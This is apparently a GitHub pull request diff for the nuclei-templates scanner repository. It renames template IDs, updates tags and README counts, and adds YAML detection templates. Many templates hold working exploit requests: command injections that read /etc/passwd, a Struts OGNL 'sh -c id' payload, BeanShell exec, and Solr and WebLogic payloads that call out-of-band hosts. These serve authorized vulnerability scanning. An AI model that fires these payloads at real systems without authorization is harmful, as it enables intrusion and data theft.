Merge pull request #1721 from projectdiscovery/template-fixes

Few template updates
2026-11-07 08:36:19 -10:00 · 2021-06-18 15:54:15 +05:30 · 2021-06-18 15:53:49 +05:30 · 2021-06-18 10:19:58 +00:00 · 2021-06-18 15:49:41 +05:30 · 2021-06-18 15:48:53 +05:30
564 changed files with 10337 additions and 761 deletions
@@ -41,7 +41,7 @@ An overview of the nuclei template directory including number of templates assoc
 | cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
 | takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
 | misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
-| default-logins   | {countTpl("default-logins/*")} | exposed-tokens  | {countTpl("exposed-tokens/*")}  | dns            | {countTpl("dns")}            |
+| default-logins   | {countTpl("default-logins/*")} | file            | {countTpl("file/*")}            | dns            | {countTpl("dns")}            |
 | fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |

 **{command("tree", -2, None)}**.
@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint

 on: [push, pull_request]

@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update

 on:
  push:
@@ -8,7 +8,6 @@
 # unless asked for by the user.

 tags: 
-  - "headless"
  - "dos"
  - "iot"
  - "misc"
@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc

 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 300           | vulnerabilities | 143 | exposed-panels | 124 |
-| takeovers        | 68        | exposures       | 89       | technologies   | 65   |
-| misconfiguration | 57 | workflows       | 30         | miscellaneous  | 20  |
-| default-logins   | 24 | exposed-tokens  | 0  | dns            | 8            |
-| fuzzing          | 8          | helpers         | 8         | iot            | 11            |
+| cves             | 346           | vulnerabilities | 184 | exposed-panels | 150 |
+| takeovers        | 67        | exposures       | 107       | technologies   | 105   |
+| misconfiguration | 69 | workflows       | 32         | miscellaneous  | 24  |
+| default-logins   | 31 | file            | 42            | dns            | 10            |
+| fuzzing          | 10          | helpers         | 9         | iot            | 13            |

-**102 directories, 1039 files**.
+**119 directories, 1307 files**.

 </td>
 </tr>
@@ -1,11 +1,12 @@
-id: xiuno-bbs-reinstallation
+id: CNVD-2019-01348
+
 info:
  name: Xiuno BBS CNVD-2019-01348
  author: princechaddha
  severity: medium
  description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page.
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
-  tags: xiuno
+  tags: xiuno,cnvd

 requests:
  - method: GET
@@ -1,16 +1,18 @@
-id: xunchi-file-read
+id: CNVD-2020-23735
+
 info:
-  name: Xxunchi LFR (CNVD-2019-01348
+  name: Xxunchi Local File read
  author: princechaddha
  severity: medium
  description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information.
  reference: https://www.cnvd.org.cn/flaw/show/2025171
-  tags: xunchi,lfi
+  tags: xunchi,lfi,cnvd

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"
+
    matchers-condition: and
    matchers:
      - type: status
@@ -21,4 +23,4 @@ requests:
          - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"
          - "display_errors"
        part: body
-        condition: and
+        condition: and
@@ -1,11 +1,11 @@
-id: ruijie-smartweb-default-password
+id: CNVD-2020-56167

 info:
  name: Ruijie Smartweb Default Password
  author: pikpikcu
  severity: low
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
-  tags: ruijie,default-login
+  tags: ruijie,default-login,cnvd

 requests:
  - method: POST
@@ -5,7 +5,7 @@ info:
  author: pikpikcu
  severity: medium
  reference: https://blog.csdn.net/m0_46257936/article/details/113150699
-  tags: lfi
+  tags: lfi,cnvd

 requests:
  - method: GET
@@ -1,11 +1,11 @@
-id: weiphp-path-traversal
+id: CNVD-2020-68596

 info:
  name: WeiPHP 5.0 Path Traversal
  author: pikpikcu
  severity: critical
  reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
-  tags: weiphp,lfi
+  tags: weiphp,lfi,cnvd

 requests:
  - raw:
@@ -1,11 +1,11 @@
-id: eea-disclosure
+id: CNVD-2021-10543

 info:
  name: EEA Information Disclosure
  author: pikpikcu
  severity: high
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
-  tags: config,exposure
+  tags: config,exposure,cnvd

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CNVD-2021-15822
+
+info:
+  name: ShopXO Download File Read
+  author: pikpikcu
+  severity: high
+  reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
+  tags: shopxo,lfi
+
+requests:
+  - raw:
+      - |
+        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -1,11 +1,11 @@
-id: ruijie-smartweb-disclosure
+id: CNVD-2021-17369

 info:
  name: Ruijie Smartweb Management System Password Information Disclosure
  author: pikpikcu
  severity: medium
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
-  tags: ruijie,disclosure
+  tags: ruijie,disclosure,cnvd

 requests:
  - method: GET
@@ -0,0 +1,45 @@
+id: CNVD-2021-30167
+
+info:
+  name: UFIDA NC BeanShell Remote Code Execution
+  author: pikpikcu
+  severity: high
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
+
+requests:
+  - raw:
+      - | #linux
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("id");
+
+      - | #windows
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("ipconfig");
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "uid="
+          - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"
@@ -7,7 +7,7 @@ info:
  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
  reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
  vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
-  tags: phpmyadmin,rce,deserialization
+  tags: cve,cve2009,phpmyadmin,rce,deserialization

 requests:
  - raw:
@@ -0,0 +1,20 @@
+id: CVE-2013-2248
+
+info:
+  name: Apache Struts - Multiple Open Redirection Vulnerabilities
+  author: 0x_Akoko
+  description: Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
+  reference: https://www.exploit-db.com/exploits/38666
+  severity: low
+  tags: cve,cve2013,apache,redirect,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:http://www.example.com/"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation & @dwisiswant0
+  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
@@ -29,6 +29,13 @@ requests:
        Accept: */*
        Accept-Language: en

+      - |
+        GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
    matchers-condition: and
    matchers:
      - type: status
@@ -39,10 +46,4 @@ requests:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
-      - type: word
-        words:
-          - "There is no Action mapped for namespace"
-          - "The origin server did not find a current representation for the target resource"
-          - "Apache Tomcat"
-        condition: or
        part: body
@@ -0,0 +1,32 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+# - "/dompdf.php?input_file=C:/windows/win.ini"
+# - "/dompdf.php?input_file=/etc/passwd"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
+      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/pdf"
+          - 'filename="dompdf_out.pdf"'
+        part: header
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -10,6 +10,7 @@ info:
    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
  description: |
       The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty

 requests:
  - method: POST
@@ -37,7 +37,6 @@ requests:
        part: body
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
-          - 'ocation: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

    matchers-condition: and
    matchers:
@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header
@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header
@@ -0,0 +1,26 @@
+id: CVE-2017-12629
+
+info:
+  name: Apache Solr <= 7.1 Remote Code Execution via SSRF
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2017,solr,apache,rce,ssrf,oob
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
+      - https://twitter.com/honoki/status/1298636315613974532/photo/1
+
+requests:
+  - raw:
+      - |
+        GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
  tags: cve,cve2017,nodejs,lfi
@@ -0,0 +1,44 @@
+id: CVE-2017-3506
+
+info:
+  name: Oracle Weblogic Remote OS Command Execution
+  author: pdteam
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  severity: high
+  tags: cve,cve2017,weblogic,oracle,rce,oob
+  reference: |
+      - https://hackerone.com/reports/810778
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
+
+requests:
+  - raw:
+      - |
+        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
+        Content-Type: text/xml;charset=UTF-8
+        Content-Length: 873
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+          <soapenv:Header>
+            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+              <java version="1.8" class="java.beans.XMLDecoder">
+                <void id="url" class="java.net.URL">
+                  <string>http://{{interactsh-url}}</string>
+                </void>
+                <void idref="url">
+                  <void id="stream" method ="openStream"/>
+                </void>
+              </java>
+            </work:WorkContext>
+            </soapenv:Header>
+          <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body
@@ -0,0 +1,30 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress Core < 4.7.1 - Username Enumeration
+  author: Manas_Harsh,daffainfo
+  severity: medium
+  description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
+  tags: cve,cve2017,wordpress
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+      - https://www.exploit-db.com/exploits/41497
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"id":'
+          - '"name":'
+          - '"avatar_urls":'
+        condition: and
@@ -1,6 +1,6 @@
 id: CVE-2017-5638
 info:
-  author: Random Robbie
+  author: Random_Robbie
  name: Apache Struts2 RCE
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
@@ -1,25 +1,31 @@
 id: CVE-2017-7269

 info:
-  name: CVE-2017-7269
-  author: thomas_from_offensity
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity,geeknik
  severity: critical
-  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
-  reference: https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce

 requests:
  - method: OPTIONS
    path:
      - "{{BaseURL}}"
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+
      - type: word
        words:
          - "IIS/6.0"
        part: header
+
      - type: dsl
        dsl:
          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
@@ -27,4 +33,4 @@ requests:
          - regex(".*?PROPFIND", public)    # lowercase header name: Public
          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
        condition: or
-        part: header
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2017-7615

 info:
  name: CVE-2017-7615
-  author: bp0lr & dwisiswant0
+  author: bp0lr,dwisiswant0
  severity: high
  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
  tags: cve,cve2017,mantisbt
@@ -0,0 +1,26 @@
+id: CVE-2017-9140
+
+info:
+  name: Reflected XSS - Telerik Reporting Module
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2017,xss,telerik
+  description: Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '#000000"onload="prompt(1)'
+          - 'Telerik.ReportViewer.axd?name=Resources'
+        condition: and
@@ -9,14 +9,21 @@ info:
    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
    - https://ecosystem.atlassian.net/browse/OAUTH-344
    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
-  tags: cve,cve2017,atlassian,jira,ssrf
+  tags: cve,cve2017,atlassian,jira,ssrf,oob

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
+  - raw:
+      - |
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
    matchers:
      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "ipinfo.io/missingauth"
-        part: body
+          - "dns"
@@ -2,7 +2,7 @@ id: CVE-2017-9841

 info:
  name: CVE-2017-9841
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  tags: cve,cve2017,php,phpunit,rce
@@ -1,62 +0,0 @@
-id: CVE-2018-0101
-
-info:
-  name: Cisco ASA Denial-of-Service # Leads to RCE
-  author: dwisiswant0
-  severity: critical
-  reference: https://www.exploit-db.com/exploits/43986
-  description: |
-    A vulnerability in the XML parser of Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated,
-    remote attacker to cause a reload of the affected system or to remotely execute code. It was also possible that
-    the ASA could stop processing incoming Virtual Private Network (VPN) authentication requests due to a low memory condition.
-  tags: cve,cve2018,cisco,dos,rce
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-        Content-Type: application/x-www-form-urlencoded
-        X-Aggregate-Auth: 1
-        X-Transcend-Version: 1
-        Accept-Encoding: identity
-        X-AnyConnect-Platform: linux-64
-        X-Support-HTTP-Auth: false
-        X-Pad: 0000000000000000000000000000000000000000
-
-        <?xml version="1.0" encoding="UTF-8"?>
-        <config-auth client="a" type="a" aggregate-auth-version="a">
-            <host-scan-reply>A</host-scan-reply>
-        </config-auth>
-
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - "status_code_1 == 200"
-
-      - type: dsl
-        dsl:
-          - "status_code_2 == 500"
-          - "status_code_2 == 501"
-          - "status_code_2 == 502"
-          - "status_code_2 == 503"
-          - "status_code_2 == 504"
-        condition: or
-
-      - type: dsl
-        dsl:
-          - "status_code_3 == 200"
-        negative: true
@@ -11,12 +11,16 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "///sessions"
        part: body
+
      - type: status
        status:
          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd @0h1in9e
+  author: mavericknerd,0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
  tags: cve,cve2018,jolokia,xss
@@ -0,0 +1,39 @@
+id: CVE-2018-1000533
+
+info:
+  name: GitList < 0.6.0 RCE
+  author: pikpikcu
+  severity: critical
+  description: klaussilveira GitList version <= 0.6 contains a Passing incorrectly sanitized input to system function vulnerability in `searchTree` function that can result in Execute any code as PHP user.
+  reference: https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
+  tags: rce,git,cve,cve2018,gitlist
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /{{path}}/tree/a/search HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 45
+        Content-Type: application/x-www-form-urlencoded
+
+        query=--open-files-in-pager=cat%20/etc/passwd
+
+    extractors:
+      - type: regex
+        name: path
+        group: 1
+        internal: true
+        part: body
+        regex:
+          - '<span class="name">(.*?)</span>'
+
+    matchers:
+      - type: word
+        words:
+          - "root:/root:/bin/bash"
+        part: body
